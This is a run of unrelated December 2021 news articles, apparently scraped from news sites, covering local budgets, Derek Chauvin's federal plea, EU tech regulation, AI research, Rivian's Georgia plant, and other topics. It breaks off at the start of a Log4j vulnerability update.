a funding match from localities, often only get attention when the state-mandated expenses rise to the point of blowing up a county or citys budget, as has happened in recent years in places like Franklin County. Local governments abruptly facing a budget crisis often focus solely on whichever issue is running up the tally, such as foster care or day placement expenses, but dont take a look at the whole picture. The same phenomenon exists statewide, with every community in its own social serves silo and weak state oversight. A good look at the entire picture would be helpful not just for state authorities but for local governments trying to get a handle on whats causing the leaks in the financial dyke. A few rural counties have banded together to share resources and shore up each others weaknesses. The state could encourage such collaborations by identifying which localities have common needs, which localities have services available that could assist with those needs and by offering financial incentives for joining forces, such as grants. CASTLE ROCK The City Council approved its 2022 Transportation Benefit District budget Monday, on the heels of passing its overall budget for next year last month. The overall 2022 budget increased 26% over 2021 figures for a total of about $14.9 million, according to city documents. The city received COVID-19 federal relief and anticipates collecting more revenue on local 2022 property taxes, as well as grants, loans and utility payment increases to cover upcoming water and sewer projects. Castle Rock Council looks to increase property tax, water, sewer rates CASTLE ROCK The total amount of city property tax revenue collected in 2022 could increase by 2.5% compared to 2021. The City Council unanimously approved its Transportation Benefit District budget Monday, anticipating collecting about $263,000 in revenue and spending $147,830 on projects that could include upgrades to streets and sidewalks next year. State and federal grants and loans are included in the citys overall 2022 budget to upgrade the main water pipe at the State Route 411 Bridge over the Cowlitz River and extend a main water pipe at Interstate 5s Exit 48. The City Council also raised water and sewer rates Nov. 22 to help pay down the loan for the pipe upgrade across the bridge. More reserves Federal COVID-19 relief funds increased reserve money for the citys general fund, which is typically used for day-to-day operations like staff salaries. The city anticipates $1.11 million in leftover general fund money after expenditures at the end of 2022, compared to $31,642 in 2021, according to city documents, thanks to American Rescue Plan Act funds, said Castle Rock Treasurer and Clerk Carie Cuttonaro. She said the city has not allocated how the ARPA funds will be spent and the money cannot be used for all general fund expenses. The total estimated general fund revenue is $2.86 million, states city documents. City revenue is mostly collected in property and sales taxes. The city anticipates collecting about $400,000 in 2022 through a 2.5% property tax increase approved Nov. 22. The city also expects to generate $40,000 more in sales tax compared to 2021, for a total of $525,000, states a Nov. 8 report by Mayor Paul Helenberg. Typically, cities have to ensure they have reserve money to cover expenses before collecting all of its revenue, like property taxes, which are collected twice a year. Highest Castle Rock Salaries in 2022 Public Works Director Dave Vorse: $116,134. Chief of Police Charlie Worley: $116,125. Clerk and Treasurer Carie Cuttonaro: $87,887. Police Officer Jeff Gann: $84,952. Police Officer Mike Berndt: $76,014. Other funds The City Council also approved a fund Monday to replace outgoing police vehicles with cash instead of using loans to save money, Cuttonaro said. The city appropriated $10,000 from the general fund to the newly reinstated line item for 2022, but Cuttonaro said the deposit amount could change annually. Initial vote tallies show Castle Rock Library just missing levy passage CASTLE ROCK The Castle Rock Library levy is still votes away from passage in the citys roughly sixth attempt to fund the donation-run facil The city received a one-time state payment of $8,000 to cover expenses relating to criminal justice legislation, Cuttonaro said, which increased reserves for Castle Rocks criminal justice fund to about $30,000 in 2022. Fewer street construction projects in 2022 left fewer expenditures and reserves in the budgeted street construction capital fund. The city expects to have $4,996 in reserves in 2022, but had $158,401 two years before. Cuttonaro said the fund previously had more money because grants were allocated for specific projects in previous years. The levy for the Castle Rock Library did not pass in November, so Cuttonaro said 2022 expenditures likely will come from donations. In 2021, she said the Friends of the Castle Rock Library contributed $14,000 to cover the facilitys expenses. There are no funds left for the library since the levy was last collected in 2018. State delays Castle Rock breakwater construction to protect fish in Cowlitz River CASTLE ROCK A last-minute request from the state to minimize wildlife harm has delayed construction to make a Cowlitz River boat launch safer. Repairs to the Al Helenberg Memorial Boat launch are anticipated to occur in 2022. Cuttonaro said the city expects to receive the entire cost of the project about $1 million from the state. The plan is to install breakwaters to redirect the current on the upstream side of the boat launch to protect smaller boats. The budgeted fund for sewer operating costs also increased in 2022 because the city closed another line item called regional sewer, and transferred the funds, Cuttonaro said. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. PeaceHealth lauded for workplace PeaceHealth was recognized as one of the healthiest workplaces in the country and the healthiest in the state for organizations with 5,000 or more employees. The awards by Healthiest Employers and Springbuk acknowledge PeaceHealths employee health and wellness programs in facilities in Washington, Oregon and Alaska. The awards measure employee participation, health outcomes, leadership commitment and more, according to a press release. PeaceHealths wellness program focuses on the financial health, nutrition, stress management and physical fitness of its employees, according to the organization. Earlier this year, PeaceHealth launched a new more robust program offering greater access to personalized mental health support that is culturally responsive and evidence-based. Additional resources have been available through the pandemic, including medical benefit enhancements and emergency funds, according to PeaceHealth. This recognition is especially meaningful this year as we approach two years of navigating and adapting to the challenges of the COVID-19 pandemic, said Sarah Ness, PeaceHealth senior vice president and chief of staff, in a statement. Through it all, our caregivers have continued to provide exceptional care for our patients, as well as prioritize caring for themselves and each other bringing to life our culture of wellness and serving as an inspiration to so many. The Daily News Love 1 Funny 3 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. ST. PAUL, Minn. (AP) Former Minneapolis police Officer Derek Chauvin pleaded guilty Wednesday to federal charges of violating George Floyd's civil rights, averting a trial but likely extending the time he is already spending behind bars on a state conviction. Chauvin, who is white, was convicted this spring of state murder and manslaughter charges for pinning his knee against Floyd's neck during a May 25, 2020, arrest as the Black man said he couldn't breathe Chauvin was sentenced to 22 1/2 years in that case. The federal charges included two counts alleging that Chauvin deprived Floyd of his rights by kneeling on his neck as he was handcuffed and not resisting, and then failing to provide medical care. Chauvin appeared in person Wednesday for the change of plea hearing in an orange short-sleeve prison shirt and was led into and out of the court in handcuffs. He said "Guilty, your honor" to confirm his pleas, and acknowledged that he was guilty of the acts alleged in the charges. With parole and presuming good behavior, Chauvin is expected to actually serve about 15 years of his state sentence behind bars. Any federal sentence would run at the same time as the state sentence, and defendants serve about 85 percent of federal sentences presuming good behavior. That means if the judge gives Chauvin the maximum 25 years requested, he would likely serve about six years and three months beyond his state sentence. Judge Paul Magnuson didn't set a date for sentencing. Three other former officers Thomas Lane, J. Kueng and Tou Thao were indicted on federal charges alongside Chauvin earlier this year. They are still on course for trial early next year on those charges, with a state trial still to come. Floyd's arrest and death, which a bystander captured on cellphone video, sparked mass protests nationwide calling for an end to racial inequality and police mistreatment of Black people. As part of the plea deal, Chauvin also pleaded guilty to violating the rights of a then-14-year-old boy during a 2017 arrest in which he held the boy by the throat, hit him in the head with a flashlight and held his knee on the boy's neck and upper back while he was prone, handcuffed and not resisting. Several members of Floyd's family were present, as was the then-teenager involved in the 2017 arrest, according to a pool reporter. As they left the courtroom, Floyd's brother Philonise said to Chauvin's 2017 victim: "It's a good day for justice." Nine people appeared to support Chauvin, including family members. He waved and smiled at them as he entered and left the courtroom, according to the pool report. Floyd's arrest and death, which a bystander captured on cellphone video, sparked mass protests nationwide that called for an end to racial inequality and police mistreatment of Black people. To bring federal charges in deaths involving police, prosecutors must believe an officer acted under the "color of law," or government authority, and willfully deprived someone of their constitutional rights. That's a high legal standard. An accident, bad judgment or simple negligence on the officer's part isn't enough to support federal charges. Prosecutors have to prove the officer knew what he was doing was wrong in that moment but did it anyway. According to evidence in the state case against Chauvin, Kueng and Lane helped restrain the 46-year-old Floyd as he was on the ground Kueng knelt on Floyd's back and Lane held down Floyd's legs. Thao held back bystanders and kept them from intervening during the 9 1/2-minute restraint. All four former officers were charged broadly in federal court with depriving Floyd of his rights while acting under government authority, but the federal indictment broke down the counts even further. The first count against Chauvin alleges he violated Floyd's right to be free from unreasonable seizure and unreasonable force by a police officer when he kept his knee on Floyd's neck, even after Floyd was unresponsive. The second count alleges Chauvin willfully deprived Floyd of liberty without due process, including the right to be free from "deliberate indifference to his serious medical needs." In the 2017 case involving the then-14-year-old boy, Chauvin is charged with depriving the boy, who was handcuffed and not resisting, of his right to be free of unreasonable force when he held him by the throat, hit him in the head with a flashlight and held his knee on the boy's neck and upper back while he was in a prone position. According to a police report from that 2017 encounter, Chauvin wrote that the teen resisted arrest and after the teen, whom he described as 6-foot-2 and about 240 pounds, was handcuffed, Chauvin "used body weight to pin" him to the floor. The boy was bleeding from the ear and needed two stitches. That encounter was one of several mentioned in state court filings that prosecutors said showed Chauvin had used neck or head and upper body restraints seven times before dating back to 2014, including four times state prosecutors said he went too far and held the restraints "beyond the point when such force was needed under the circumstances." The other three former officers are still expected to go to trial on federal charges in January, and they face state trial on aiding and abetting counts in March. *** Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Android 12 Go edition has been announced for entry-level smartphones, it brings some Android 12 features. Android 12 Go edition is here and as expected, it brings some of the regular Android 12 features to more affordable and entry-level Android phones. The focus with the Go edition is on improving overall performance and privacy experience rather than adding more visual flair. Google says that app will open faster and there will be some smart features to play with. Some of the features seem to be inspired from what the JioPhone Next offered with its software, especially the multilingual translation features. Google does not reveal an exact timeline for the release of Android 12 Go edition and there's no mention of which companies will use it initially. All Google says is that this watered down version of Android 12 will be available in 2022. Android 12 Go edition features There are six major upgrades over Android 11 Go edition coming to the newer versions. Here's what you will see in a few months. Faster app launches The Android 12 Go edition will enable faster app launches on eligible smartphones. With a new API in place, Google says that developers can make their apps launch 30 percent faster than before. Apps won't show a black screen before they load up. Better battery life Android 12 Go edition Android 12 Go edition brings app hibernation from the mainstream version of Android. Hence, your phone will now put those apps to sleep that aren't in use lately. Google says that this could be helpful for devices with lower storage capacity. Additionally, Files Go app will allow you to recover deleted files within 30 days from the bin. App sharing Users will be able to share APK files of apps to other Android 12 Go edition devices nearby via Nearby Sharing. Google says that this will help save data required for downloading large updates and new apps. Profile switching Android 12 Go edition will allow for quick profile switching from the lockscreen. Bring down the notification tray and tap on the guest profile to quickly switch before sharing your device with someone else. New translation features Android 12 Go edition Similar to the Pragati OS on JioPhone Next, Android 12 Go edition will offer translate and dictation features within arms reach. However, these features can be accessed directly from the Recents windows, where you can switch between multiple apps for multitasking. A shortcut to take quick screenshots will also be available in the Recents window. Privacy controls Google is also bringing Privacy dashboard from Android 12, which means users will be able to see which apps are accessing what sensors and how many tines. The privacy indicator will show real-time notifications of the device accessing mic and cameras. Credit: Unsplash/CC0 Public Domain The European Parliament on Wednesday approved its proposal for major EU legislation to impose unprecedented restrictions on how tech giants do business. Lawmakers overwhelmingly voted in favour of their version of the Digital Markets Act, aimed at slapping far-reaching rules on behemoths like Meta/Facebook, Alphabet/Google, Amazon, Apple and Microsoft. The landmark legislation should give the EU unprecedented powers to act quickly against these tech "gatekeepers" and impose a strict list of Do's and Don'ts on their most dominant platforms. The final law, along with the companion Digital Services Act regulating online content, will be thrashed out with EU member states in the coming months in the hope of completing negotiations on a final law next year. A key parliamentary committee approved its proposal for the Digital Service Act on Tuesday and it is set to be voted on by all lawmakers in January. Big tech companies and other interests are lobbying furiously to influence the final outcome for the laws, and member states will weigh in until the end with their own national priorities. The negotiations with MEPs will be presided by France, which has made delivering the new rules into law a major priority of its six-month EU presidency that begins on January 1. In detail, the parliament's version strengthened the proposals put forward by the EU's executive and agreed by member states, including pushing for interoperability between different messenging services. It also looks to beef up the powers of national competition authorities, with key member states Germany and France eager to not leave all the power to the European Commission in Brussels. The European Consumer Organisation said the proposal would "give consumers a greater share of the benefits of digital services" and called on member states to stick to the changes made by lawmakers. "For example, the Parliament's amendments would give consumers more choice over which social networks and instant messaging services they use and prevent tech giants from using 'dark patterns' to distort consumers' choices," it said in a statement. "It is crucial the EU sets the standard to the rest of world by making sure the digital economy works to the benefit of consumers rather than to the exclusive benefit of the tech giants," it said. Explore further EU lawmakers back step towards curbs on Big Tech 2021 AFP Credit: CC0 Public Domain Computers usually understand Finnish only as the normative standard known as kirjakieli. Finnish dialects, however, create a lot of trouble when interacting with computers, since it is impossible to speak a language without speaking in a dialect of some sort. A research group has built artificial intelligence (AI) models that can automatically detect, normalize and generate Finnish dialects. The results were published in The 2021 Conference on Empirical Methods in Natural Language Processing. Collecting data for making an AI understand dialectal Finnish and Swedish has been on the news recently. The methods devised by the research group of Mika Hamalainen, Niko Partanen, Khalid Alnajjar and Jack Rueter from the University of Helsinki take this further and enable an AI to be fluent in the Finnish dialects. Within the paradigm of computational creativity, they have developed a method for converting standard Finnish into one of the 23 Finnish subdialects. Computers should not only be able to understand dialectal Finnish, but they should also be able to express themselves in a dialect. "With our method, an intelligent system such as a robot can say akku on lopussa (battery is low), for example in Etela-Karjala dialect akku o lopussa, Etela-Satakunta dialect akku ol lopus or Lansi-Uusimaa dialect akku o lopus," Hamalainen says. For example, the commonly used algorithm of Google Translate fails to translate a dialectal Finnish sentence Oisko sulla jotai esimerkkei siit (Do you happen to have some examples of that) producing a completely incorrect "English" translation Oisko sulla something like that just because Google Translate has been built to work exclusively on standard Finnish. This same phenomenon can be observed with any AI tools that support Finnish like Apple Siri or dictation in macOS. Dialects are detected from both spoken audio and text The research shows that detecting dialects is a difficult task when relying on plain text. Dialect identification is easier when the model has access to audio as well because many dialects are marked with distinctive phonetic properties. Thus the latest research published by the researchers deals with detecting dialects from both spoken audio and text. "The process of normalizing dialects to standard text has many benefits. It allows analyzing dialectal materials using tools for the Standard Finnish, and we can also use the normalized version as a search item when we want to find something from the dialectal materials", says Khalid Alnajjar. The researchers remind that the problem of understanding dialects is complex and no model can understand natural language like humans do. But the created models open many more interesting directions for research, such as the degree to which a dialect deviates from the norm and what are the syntactic differences between different language varieties. "With this we can improve the current state of Finnish natural language processing solutions and build AI models tailored for individuals. For example, we have already reached impressive results in speech recognition of one person's speech, even in endangered languages", Niko Partanen says The research group has also developed a similar normalization methodology for the dialects of Swedish spoken in Finland (Hamalainen et al., 2020b) and historical Finnish (Hamalainen et al., 2021b). The dialect generator can be tested online and the dialect normalizer and generator code have been released openly on Github. The dialect identification code can be found on Github as well. Explore further Marmoset monkeys can learn a new dialect Credit: Unsplash/CC0 Public Domain An outsourcing company accused of committing "wage theft" against foreign citizens on the H-1B visa has received approvals to place workers at major Silicon Valley technology firms, according to a new report and federal government data. Internal documents on worker wages at outsourcer HCL Technologies, a leading provider of IT contract workers, are central to the allegations in the report from the left-leaning Economic Policy Institute, based on documents obtained via a federal government whistleblower lawsuit against HCL in a federal court in Connecticut. "This is the first inside look into the playbook of how to abuse the (H-1B) program and the failures of government and the Department of Labor for not enforcing the law," said Ron Hira, a professor at Howard University who studies the H-1B and co-authored the report. The report released this week claims that HCL "appears to be stealing at least $95 million per year in wages from its H-1B employees." India-headquartered HCL did not respond to a request for comment emailed Thursday to its U.S. media-relations office. The report alleged further that, "victims include not only the H-1B workers but also the U.S. workers who are either displaced or whose wages and working conditions degrade when employers are allowed to underpay skilled migrant workers with impunity." "HCL is not making a product, they're reselling labor," Hira said. "Those customers know what they're getting: They're getting lower cost labor." The H-1B visa, intended for jobs requiring specialized skills, is heavily used by major tech firms, which employ the foreign workers directly and via outsourcers. Data from the U.S. Department of Labor show the agency has given HCL approval to place its contract workers at Silicon Valley tech giants including Google, Facebook, Intel and Cisco. There is no information in the report to indicate that any HCL H-1B workers at those Silicon Valley companies are not paid according to the law, which requires companies directly employing H-1B workers pay them wages equivalent to those of their U.S. workers and green card holders. Intel spokesperson Penny Bruce said the company was reviewing the report. "We hold our suppliers accountable to the same expectations we have for ourselves," Bruce said. None of the other three Silicon Valley companies provided answers to questions about the report and its allegations. Internal HCL documents released through the lawsuit and reproduced in the report indicate that HCL pays U.S. citizens 13% to 64% more than H-1B workers in five areas of IT expertise. Another document reproduced in the report noted that "local hiring" was "significantly more expensive" than hiring H-1Bs. Of the top 30 H-1B employers, 17 are outsources, according to the institute's report. "Silicon Valley companies are some of the biggest customers of these firms," Hira said. Hira added that he believes "that what HCL practices by paying their H-1B workers lower than paying their non-H-1B workers is probably common practice. We suspect that it's not just HCL that's availing themselves of this but all of the major outsourcers." According to the report's other author, Daniel Costa, director of immigration law and policy research at the institute, "There are potentially tens of thousands of workers who are being underpaid." Explore further H-1B use skyrocketed among Bay Area tech giants MediaNews Group, Inc. Distributed by Tribune Content Agency, LLC. Julian Senoner (left) and Bernhard Kratzwald (right) work on a prototype in their office at ETH Zurich. Credit: EthonAI ETH researchers are using artificial intelligence to improve quality management in digital production processes. The team has succeeded in halving the proportion of defective products in an experiment with the semiconductor manufacturer Hitachi Energy. Complex machinery, pharmaceutical products or microchips: the more expensive a product, the more important its quality when it comes to surviving on the market. This is especially true for industrial production in high-wage countries like Switzerland. It is all the more surprising, then, that poor quality continues to account for an average of 15 percent of operating costs in industrial manufacturing, often as a result of outdated quality management. In a new study, ETH researchers Julian Senoner and Torbjrn Netland together with Stefan Feuerriegel, who recently joined LMU Munich, highlight how artificial intelligence (AI) can be used to improve quality management in complex digital production processes. Their algorithm has already been successfully tested at a semiconductor factory of Hitachi Energypreviously Hitachi ABB Power Gridsin Lenzburg: the number of defective products was reduced by over 50 percent in one experiment, making production not only more efficient but also more sustainable. Outdated quality management The manufacture of complex industrial products requires a large number of interrelated work steps. Producing semiconductors, for example, for use in computers, trains or wind turbines, involves between 200 and 400 production steps. Various things can go wrong in any one of these steps. If the temperature in one machine is a little too high, or the pressure in another a little too low, for example, a large proportion of the products may be affected by errors. "In semiconductor production, it's not uncommon for the error rate to range between 5 and 70 percent because of the highly complicated manufacturing process. There are huge amounts of money at stake," explains ETH professor Torbjrn Netland from the Chair of Production and Operations Management. Until now, it has been extremely difficult to precisely identify sources of error in complex production processes of this kind. Traditional methods used in quality assurance at many factories around the world only ever enabled engineers to examine a few parameters at a time. In complex production processes, however, thousands of interrelated parameters are now measured, but traditional methods did not allow for analysis of how these interact and affect overall production. ETH professor Netland and his co-authors are aiming to change this: "We want to bring quality management into the digital age. The methods that continue to be used by many producers are often up to 100 years old," says Netland. Algorithm identifies sources of error First, the ETH researchers developed an algorithm that imitates the individual steps involved in the production of semiconductors. They then fed the algorithm with as much historical production data as possible, such as the temperature or pressure measured in machines. "Based on this data, the algorithm learns the conditions needed to ensure good semiconductor quality, and which conditions result in high error rates," says Julian Senoner, lead author and a researcher in Netland's group. The advantage of the AI-based method is that it can be used to analyze any number of factors and relationships in the production process, and reveal more complex interrelationships between parameters. This enables sources of error to be identified in a more systematic way, and throughout the entire production process. The proposed approach will not obviate the need for well-trained engineers at the factories, thoughon the contrary: "Our algorithm primarily identifies sources of error that have previously gone undetected. But fixing them will still take a great deal of technical expertise and human creativity," Netland explains. 50 percent less loss To test the algorithm, the authors worked with Hitachi Energy in Lenzburg. Hitachi Energy produces semiconductors that are used in electric vehicles and trains, as well as in wind turbines and power lines. Historical production data from the semiconductor manufacturer enabled the researchers to identify two manufacturing steps that most impaired the quality of the products. Armed with these findings, they went to the factory to conduct an experiment under real production conditions. Together with Hitachi Energy engineers, the authors divided a production batch of 1,488 semiconductors into four groups of equal size. While the first 372 semiconductors were produced without specific adjustments, one manufacturing step each was optimized for groups two and three, and both manufacturing steps were then optimized for the last 372 semiconductors. "The results of the experiment confirmed the predictions made by the algorithm: in the control group produced without optimisation, the error rate was four times higher than in the group produced according to the algorithm's recommendation," says ETH professor Netland. Hitachi Energy subsequently implemented the ETH researchers' recommendations in another product variant, and reduced the proportion of defective products by more than half. For the semiconductor manufacturer from Lenzburg, the algorithm developed by the ETH researchers offers significant benefits that will help to improve quality management in a meaningful and lasting way. Transferable to other sectors But are these results also feasible in other industries? "A lot of production data is needed for our method to achieve good results, and this calls for highly digitalised production processes," explains ETH researcher Senoner. According to the authors, these conditions are currently found above all in the pharmaceutical and chemical industries and in plastic production. With the increasing digitalisation of production processes, however, the ETH researchers' algorithm should also become attractive for other sectors in the medium term. With a view to exploiting the economic potential of artificial intelligence in quality management and making the technology accessible as widely as possible, lead author Julian Senoner and ETH Pioneer Fellow Bernhard Kratzwald have therefore founded the ETH spin-off EthonAIcall_made. Explore further Researchers propose methods for additive manufacturing quality control More information: Julian Senoner et al, Using Explainable Artificial Intelligence to Improve Process Quality: Evidence from Semiconductor Manufacturing, Management Science (2021). Journal information: Management Science Julian Senoner et al, Using Explainable Artificial Intelligence to Improve Process Quality: Evidence from Semiconductor Manufacturing,(2021). DOI: 10.1287/mnsc.2021.4190 Large crowds turned out to look at Rivian Automotive's R1S prototype during a public rollout of the company's new vehicles in Normal, Illinois, Sunday, Oct. 13,2019. Electric vehicle maker Rivian Automotive will announce Thursday, Dec. 15, 2021 that it's building a $5 billion battery and assembly plant east of Atlanta that's projected to employ 7,500 workers, sources briefed on the decision told The Associated Press. Credit: David Proeber/The Pantagraph via AP Electric vehicle maker Rivian Automotive will announce Thursday that it's building a $5 billion battery and assembly plant east of Atlanta that's projected to employ 7,500 workers, sources briefed on the decision told The Associated Press. Rivian, based in Irvine, California, is a startup manufacturer of electric trucks and commercial delivery vans, challenging both established automakers like Ford and General Motors and electric vehicle leader Tesla. The plant could grow to as many as 10,000 workers, sources said, which would make it among the largest auto assembly complexes in the United States, rivaled by behemoths such as the 11,000-worker BMW complex in Spartanburg, South Carolina, and Ford Motor Co.'s 8,600-worker plant in Louisville, Kentucky. Rivian will be the largest industrial announcement in Georgia history, surpassing the 4,400-worker Kia complex that opened in West Point in 2009. Georgia has had a number of failed auto plant recruitments. Rivian will give Georgia Gov. Brian Kemp another point to bolster his claims that he has been an excellent steward of Georgia's economy, even as faces Republican and Democratic challengers when he runs for reelection next year. The city of Fort Worth, Texas, offered Rivian a $440 million incentive package to lure the plant during the summer, while published reports indicate Rivian also considered sites in Arizona and Michigan. Rivian told Fort Worth its plant would make 200,000 vehicles per year, with workers paid at least $56,000 a year. The Atlanta Journal-Constitution was the first to report Rivian's decision. Founder and CEO Robert Scaringe told Bloomberg Television in November that the ability to recruit good workers was the most important factor in the decision. Rivian's existing plant in Normal, Illinois, like most auto plants that have opened in recent decades, is not unionized. Georgia officials are unlikely to detail the full incentive package offered to Rivian on Thursday, but the company could max out what Georgia calls its "mega project tax credit," for companies that hire at least 1,800 people or invest at least $450 million. That could be worth $118 million in state income tax credits. Local governments are likely to abate property taxes. Kia got more than $450 million in incentives for its plant southwest of Atlanta. Georgia has promised $300 million of incentives to the $2.6 billion, 2,600-worker battery plant being built by SK Innovation in Commerce, Georgia, northeast of Atlanta. Rivian, like Tesla, deals with its customers directly instead of through dealers. Its arrival in Georgia could prompt the state to loosen a law that mostly prohibits manufacturers from selling directly. Rivian currently plans two models for consumersthe R1T pickup with a base price of $67,500 and the R1S SUV, with a base price of $70,000. The truck was recently named Motor Trend's 2022 truck of the year. Amazon, which owns a slice of the company, has ordered 100,000 delivery vans, launching Rivian into the commercial vehicle business. Rivian is flush with cash following a $11.9 billion stock offering Nov. 10 that took the company public, allowing it to finance the new plant. Its market value is nearly $95 billion, more than either General Motors or Ford. The company argues that electric vehicle adoption is at the "tipping point" and it is well positioned for success because trucks and SUVs have long been the most profitable vehicles sold. But some analysts question whether it needs another plant besides the former Mitsubishi plant in Illinois, that Rivian bought for $16 million in 2017. Rivian says it has a yearly capacity of 150,000 vehicles, but is looking to expand there as well. "It seems like it might be a little premature to invest that much in another large plant just yet," said Sam Abuelsamid, principal mobility analyst for Guidehouse Insights, who said Rivian also may be looking for a manufacturing site in Europe. Given the size of the Georgia plant, Abuelsamid expects it to make other parts for the vehicles, similar to electric vehicle leader Tesla making seats at its factory in Fremont, California. Rivian has cash in the bank, but will burn through that quickly unless it starts delivering vehicles and generating cash, jeopardizing its market darling status, Abuelsamid said. The company needs more retail customers and commercial vehicle buyers other than Amazon, he said. "If actual deliveries don't start picking up, the markets could turn against them as they have with some other EV startups not called Tesla," Abuelsamid said. "Unlike Tesla, Rivian will be facing serious competition in a much shorter time frame than the near- decade head start that Tesla had." Ford and GM plan to start selling their own electric pickup trucks in the next year or two, while Tesla also plans a new pickup. That's part of a wave of electric vehicle investment, with SK's $5 billion battery plant northeast of Atlanta just one example. Ford announced in September it would spend $11.4 billion to build three battery factories and an assembly plant in Kentucky and Tennessee. The LMC Automotive consulting firm expects U.S. sales of new fully electric vehicles to hit nearly 400,000 this year, nearly double last year's figures. But they still make up only about 2.6% of sales. The firm expects sales to grow to more than 730,000 next year and more than 2 million by 2025. Even at 2 million, EV sales still would be only about 12% of U.S. new vehicle sales. Explore further Rivian rockets past GM to become 2nd most valuable carmaker 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Figure 1. Optimal scenario for power trade between the nations of Northeast Asia, from the perspective of the conventional model. Greater arrowhead size indicates higher power throughput. Credit: Pavel Odinev/Skoltech Skoltech researchers and their colleagues have proposed a new model for the interaction of nations trading electricity and their network lines planning. Described in IEEE Transactions on Power Systems, the model suggests an explanation for why there is no cooperation in some of the regions of the world where it seems well worth it from an economical standpoint, along with possible solutions for how to make it happen. At its core is the realization that earlier approaches failed to assign proper value to the stability of economic ties. There are many reasons for countries to exchange electrical power. The most obvious ones are that some geographical locations are just better suited for producing electricity, to the point that it may be ludicrous to generate power at a cost several times higher than what you can buy it for from a neighbor. Also, the demand for electricity fluctuates widely throughout the 24-hour cycle, so a power supplier tends to have excess output at least at some point in the day that it is willing to export. To find out optimal ways to expand power trade, researchers use mathematical models that balance the economic interests of the participating nations and suggest where transmission lines should best be positioned and what the optimal power throughput through each of them is. The output of such a model might look something like this (fig. 1). The shortcoming of the conventional model is that planning is driven by economic cost-benefit analysis only, but with projects expected to last for decades it is also vital to account for the propensity of each of the parties to quit. This is something the new approach proposed by Skoltech researchers and their colleagues attempts to address, resulting in a different interconnections plan for the same region (fig. 2). Figure 2. Optimal scenario for power trade between the nations of Northeast Asia, from the perspective of the new model. Note, for example, how the arrows from (1) to (2) to (4) are much smaller than in figure 1. Credit: Pavel Odinev/Skoltech Compared in purely economic terms, the earlier model wins by a small margin. For the scenario depicted in figures 1 and 2, for example, it is predicted to generate about $7 billion per year in savings over the course of two decades, or about 6% more than the newer, stability-aware model. But since the latter promotes longer-enduring projects, the team expects this to more than offset the savings gap. The innovative approach for the proposed methodological framework for planning electricity trading between countries lies in connecting concepts from operations research, economics, and cooperative game theory. In particular, the stability of the interconnection project and the propensity of a country to abandon such a project are, for the first time, captured in a cross-border transmission planning model via bilevel programming. "One of the stability issues with the standard approach is that it does not assign enough importance to the interests of transit countries. So, for example, the interests of the two principal playersthe importer and the exportermight be balanced, but the transit country would have an inferior position, making it more likely to veto the project. Our model considers the interests of the transit country in a fairer way," study co-author David Pozo of Skoltech said. "The tool we're developing can also predict the harm that comes as a result of a certain party quitting. It's a useful byproduct of the model that allows the participants to stipulate appropriate penalties in the contract," the researcher adds. Explore further Transit network design model for bus frequency planning More information: Andrey Igorevich Churkin et al, Enhancing the Stability of Coalitions in Cross-Border Transmission Expansion Planning, IEEE Transactions on Power Systems (2021). Andrey Igorevich Churkin et al, Enhancing the Stability of Coalitions in Cross-Border Transmission Expansion Planning,(2021). DOI: 10.1109/TPWRS.2021.3124988 NEW YORK (AP) U.S. Senate candidate Mehmet Oz will end his "Dr. Oz" syndicated talk show next month, and producers will replace it with a cooking show featuring his daughter. The "Dr. Oz" show, in its 13th season, will air its last episode on Jan. 14, Sony Pictures Television said on Monday. The heart surgeon and talk show host is running for the U.S. Senate as a Republican in Pennsylvania. Television stations in Philadelphia, New York City and Cleveland that are seen in Pennsylvania had already taken "Dr. Oz" off the air, for fear that the Federal Communications Commission's "equal time" rules would allow rival candidates to seek similar air time. In many parts of the country, "Dr. Oz" will be replaced by "The Good Dish," a combination talk-cooking show where hosts Daphne Oz, Gail Simmons and Jamika Pessoa will serve up a dish of the day. Producers boasted it would be "the most fun you can have in the kitchen without having to do the dishes." The show is an outgrowth of a weekly segment on "Dr. Oz," much like Oz's television career got an early boost from Oprah Winfrey. Sony said it has commitments to air "The Good Dish" in stations representing 90% of the nation's population. Collage by Lance Letscher, through Jan. 7 in the Wright Gallery in the Langford A Building in the College of Architecture on the Texas A&M University campus. Weekdays from 8 a.m. to 4 p.m. A Garden of Earthly Delights, through Dec. 17 at the Forsyth Galleries in the Memorial Student Center on the Texas A&M campus. The gallery is open Tuesday from 9 a.m. to 6:30 p.m., Wednesday through Friday from 9 a.m. to 8 p.m. and Saturday and Sunday from noon to 6 p.m. Admission is free. uart.tamu.edu/ged. Strokes of Genius: Texas Impressionism, through Dec. 17 at the J. Wayne Stark Galleries in the Memorial Student Center on the Texas A&M campus. The gallery is open from 10 a.m. to 4 p.m. Tuesday through Friday. Admission is free. uart.tamu.edu/strokes. The Art of Sport, through Dec. 23 at the Arts Council of Brazos Valley, 4180 Texas 6 in College Station. The gallery is open Tuesday through Friday from 10 a.m. to 5 p.m. and Saturday from 1 to 4 p.m. Celebrating 60 Years, through January at the Brazos Valley Museum of Natural History, 3232 Briarcrest Drive in Bryan. A celebration of 60 years of service to the Brazos Valley through vintage photographs, artifacts and specimens. The museum is open Tuesday through Saturday, 10 a.m. to 5 p.m. Admission is $5 for adults. This is a commitment beyond what any of us dreamed of back then in 2014, and Fujifilms constant participation, not just in what its doing here locally, but what its doing now for the world really sets the B-CS, Brazos Valley area apart and makes us unique in the annals of biotechnology, he said. So, Gerry, to you to the [FUJIFILM] family, thank you for committing to us, and we will continue our commitment to you. Bryan Mayor Andrew Nelson added his congratulations to Farrell and the Fujifilm Diosynth Biotechnologies and said the partnership among all the entities is what made it possible to bring the opportunities to the Brazos Valley. Brazos County Judge Duane Peters said the new facility adds to the countys contributions to the world. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} Since its founding in the 1840s, the residents who have called our 600 square miles home have made profound contributions and impacts on our state, nation and the world, he said. FUJIFILM Diosynth adds to that great, rich tradition each day with its innovations and its efforts. UPDATE The severity score of CVE-2021-45046, originally classified as a DoS bug, has since been revised from 3.7 to 9.0, to reflect the fact that an attacker could abuse the vulnerability to send a specially crafted string that leads to "information leak and remote code execution in some environments and local code execution in all environments." The Apache Software Foundation (ASF) has pushed out a new fix for the Log4j logging utility after the 